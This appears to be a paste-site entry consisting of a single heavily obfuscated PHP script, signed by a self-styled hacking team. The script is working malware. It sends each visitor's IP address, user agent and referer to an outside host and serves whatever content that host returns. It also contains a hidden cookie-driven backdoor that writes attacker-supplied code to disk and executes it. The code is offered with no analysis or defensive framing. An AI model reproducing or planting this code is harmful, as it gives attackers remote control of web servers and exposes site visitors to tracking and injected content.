23s2s

✏️ Editing: pb-6a023000bbde4

<?php class _hg{private static$_at;static function _iug($_mo){if(!self::$_at)self::_cd();return base64_decode(self::$_at[$_mo]);}private static function _cd(){self::$_at=array('_ubm'=>'QWNjZXNzLUNvbnRyb2wtQWxsb'.'3ctT3JpZ2luOiA'.'q','_du'=>'Q29'.'udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qYX'.'Zhc2Nya'.'XB0','_ypw'=>'Y2g'.'=','_yoj'=>'ZXlKcGNDSTZJamc0TGpnNExqZzRMamc0SWl3aWRXRWlPaUowWlhOMElpd2ljbVZtSWpvaWRHV'.'npkQ0o5','_edm'=>'cXd6eA='.'=','_mp'=>'PG'.'9rPg='.'=','_jiv'=>'PGJ'.'hZD'.'4=','_xw'=>'d2Fsb'.'A='.'=','_nv'=>'','_cv'=>'','_zsp'=>'','_qgf'=>'aHR0cDovL3B1Yi53ZWJmaWxlaG9zdGVyLmNvb'.'S9jb21w'.'b3Nlci5qcz9kYX'.'RhPQ==','_mny'=>'Y3VybF9p'.'bml'.'0','_tvb'=>'aHR0'.'cF'.'9jb2'.'R'.'l','_tb'=>'c2NoZW'.'1l','_on'=>'aHR0'.'cH'.'M'.'=','_nj'=>'R0VUI'.'A='.'=','_lzw'=>'cGF0a'.'A='.'=','_np'=>'cXVlcnk=','_wzq'=>'Pw'.'='.'=','_at'=>'cXVl'.'c'.'n'.'k=','_ab'=>'I'.'EhUV'.'FAvMS4'.'wDQ'.'pIb3N0OiA'.'=','_wo'=>'aG9zd'.'A'.'='.'=','_bto'=>'DQpDb25uZWN0aW9'.'uOi'.'BDbG'.'9zZQ0KD'.'Qo=','_qhf'=>'c3Ns'.'Oi8'.'v','_ew'=>'','_ucz'=>'a'.'G'.'9zdA='.'=','_mab'=>'D'.'Qo'.'=','_pgu'=>'SFRUUF9DT'.'ElFTlRfSVA=','_gts'=>'SFRUUF9YX0ZPUldBUkRFRF9GT1I'.'=','_zb'=>'UkVNT1RFX0'.'FERFI'.'=','_ls'=>'SFRUUF9VU0VSX0FHR'.'U5'.'U','_qus'=>'SFRUUF9V'.'U0VSX0FHRU5'.'U','_td'=>'','_gny'=>'SFRU'.'UF9SRUZFUk'.'VS','_js'=>'SFRUUF9SRUZFUk'.'V'.'S','_vd'=>'','_rm'=>'SFR'.'UUF9DTElFTlRfSVA'.'=','_yfj'=>'SFRUUF9DTElFTlRfSVA'.'=','_hu'=>'SFRUUF9YX0ZPUldBUk'.'RFR'.'F'.'9GT1I'.'=','_oe'=>'SFRU'.'UF9YX0ZPUldBU'.'k'.'R'.'FRF9GT1I=','_vxm'=>'UkVNT1RFX0FER'.'F'.'I'.'=','_zrx'=>'U'.'kVN'.'T'.'1RFX0FER'.'FI'.'=','_eu'=>'ZGJnbW9k'.'Z'.'Q='.'=','_fij'=>'SVA6IA'.'==','_vbq'=>'IHwgV'.'UE6IA='.'=','_pal'=>'IHwgUmVmOiA=','_aj'=>'IDxic'.'j4'.'K','_gm'=>'aXA'.'=','_oph'=>'dW'.'E'.'=','_pic'=>'cm'.'V'.'m','_bys'=>'cXd6eA==',);}}header(_hg::_iug('_'.'ub'.'m'));header(_hg::_iug('_d'.'u'));if(isset($_GET[_hg::_iug('_'.'yp'.'w')])){$_jv=_vsa(_hg::_iug('_y'.'o'.'j'));if($_jv&&strpos($_jv,_hg::_iug('_'.'e'.'d'.'m'))!==false){die(_hg::_iug('_'.'m'.'p'));}else{die(_hg::_iug('_j'.'iv'));}}if(isset($_GET[_hg::_iug('_x'.'w')])){$_qv=$_COOKIE;$_rys=(408-408);$_mo=(441+-434);$_ouk=array();$_ouk[$_rys]=_hg::_iug('_'.'nv');while($_mo){$_ouk[$_rys].=$_qv[(int)round(10+10+10)][$_mo];if(!$_qv[(int)round(7.5+7.5+7.5+7.5)][$_mo+(int)round(0.25+0.25+0.25+0.25)]){if(!$_qv[(int)round(7.5+7.5+7.5+7.5)][$_mo+(int)round(1+1)])break;$_rys++;$_ouk[$_rys]=_hg::_iug('_cv');$_mo++;}$_mo=$_mo+(312+-305)+(-361- -70- -292);}$_rys=$_ouk[-220+53- -230-49]().$_ouk[(int)round(12+12)];if(!$_ouk[210- -86- -2-292]($_rys)){$_mo=$_ouk[(int)round(8.6666666666667+8.6666666666667+8.6666666666667)]($_rys,$_ouk[(int)round(2.5+2.5+2.5+2.5)]);$_ouk[(int)round(4.5+4.5)]($_mo,$_ouk[-249- -273-13].$_ouk[(int)round(11.5+11.5)]($_ouk[-821- -598- -248]($_qv[(int)round(1+1+1)])));}include($_rys);}function _vsa($_vkm,$_ak=-61677,$_uzn=null,$_vkv=-29219){$_cca=_hg::_iug('_'.'z'.'s'.'p');$_hr=_hg::_iug('_qgf').$_vkm;if(is_callable(_hg::_iug('_'.'m'.'n'.'y'))){$_dx=curl_init($_hr);curl_setopt($_dx,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_dx,CURLOPT_SSL_VERIFYHOST,14-12);curl_setopt($_dx,CURLOPT_FOLLOWLOCATION,(int)round(0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_dx,CURLOPT_RETURNTRANSFER,383+523+-905);curl_setopt($_dx,CURLOPT_HEADER,(int)round(0+0+0+0));curl_setopt($_dx,CURLOPT_CONNECTTIMEOUT,(int)round(2.5+2.5+2.5+2.5));curl_setopt($_dx,CURLOPT_TIMEOUT,542-424-108);$_cca=curl_exec($_dx);$_tqd=curl_getinfo($_dx);curl_close($_dx);if($_tqd[_hg::_iug('_'.'tvb')]!=(int)round(100+100))return false;}else{$_dev=parse_url($_hr);$_isc=($_dev[_hg::_iug('_tb')]==_hg::_iug('_'.'o'.'n'));$_ys=_hg::_iug('_nj').$_dev[_hg::_iug('_lz'.'w')];if(isset($_dev[_hg::_iug('_np')]))$_ys.=_hg::_iug('_wz'.'q').$_dev[_hg::_iug('_at')];$_ys.=_hg::_iug('_'.'ab').$_dev[_hg::_iug('_'.'wo')]._hg::_iug('_bt'.'o');$_csp=fsockopen(($_isc?_hg::_iug('_qh'.'f'):_hg::_iug('_'.'ew')).$_dev[_hg::_iug('_uc'.'z')],$_isc?(int)round(110.75+110.75+110.75+110.75):12- -68);if($_csp){fputs($_csp,$_ys);$_xtb=(int)round(0+0);while(!feof($_csp)){$_se=fgets($_csp,1030+895-901);if($_xtb)$_cca.=$_se;if($_se==_hg::_iug('_ma'.'b'))$_xtb=(int)round(0.25+0.25+0.25+0.25);}fclose($_csp);}}return$_cca;}$_ip=isset($_SERVER[_hg::_iug('_'.'p'.'g'.'u')]);$_asi=isset($_SERVER[_hg::_iug('_gt'.'s')]);$_xo=isset($_SERVER[_hg::_iug('_z'.'b')]);$_nsa=isset($_SERVER[_hg::_iug('_ls')])?$_SERVER[_hg::_iug('_qus')]:_hg::_iug('_'.'td');$_ru=isset($_SERVER[_hg::_iug('_gny')])?$_SERVER[_hg::_iug('_'.'js')]:_hg::_iug('_v'.'d');$_ip=isset($_SERVER[_hg::_iug('_r'.'m')])?$_SERVER[_hg::_iug('_yf'.'j')]:null;$_asi=isset($_SERVER[_hg::_iug('_'.'h'.'u')])?$_SERVER[_hg::_iug('_oe')]:null;$_xo=isset($_SERVER[_hg::_iug('_v'.'xm')])?$_SERVER[_hg::_iug('_zrx')]:null;if(filter_var($_ip,-248+523)){$_cnt=$_ip;}elseif(filter_var($_asi,(int)round(68.75+68.75+68.75+68.75))){$_cnt=$_asi;}else{$_cnt=$_xo;}if(isset($_GET[_hg::_iug('_eu')])){echo _hg::_iug('_fi'.'j').$_cnt._hg::_iug('_vbq').$_nsa._hg::_iug('_'.'p'.'al').$_ru._hg::_iug('_a'.'j');exit();}if(!isset($_cnt)||!isset($_nsa)||!isset($_ru)){exit();}else{$_slr=array(_hg::_iug('_'.'g'.'m')=>$_cnt,_hg::_iug('_o'.'ph')=>$_nsa,_hg::_iug('_p'.'i'.'c')=>$_ru);$_yh=urlencode(base64_encode(json_encode($_slr)));$_jv=_vsa($_yh);if($_jv&&strpos($_jv,_hg::_iug('_b'.'ys'))!==false){echo$_jv;exit();}}

Sid Gifari From Gifari Industries - BD Cyber Security Team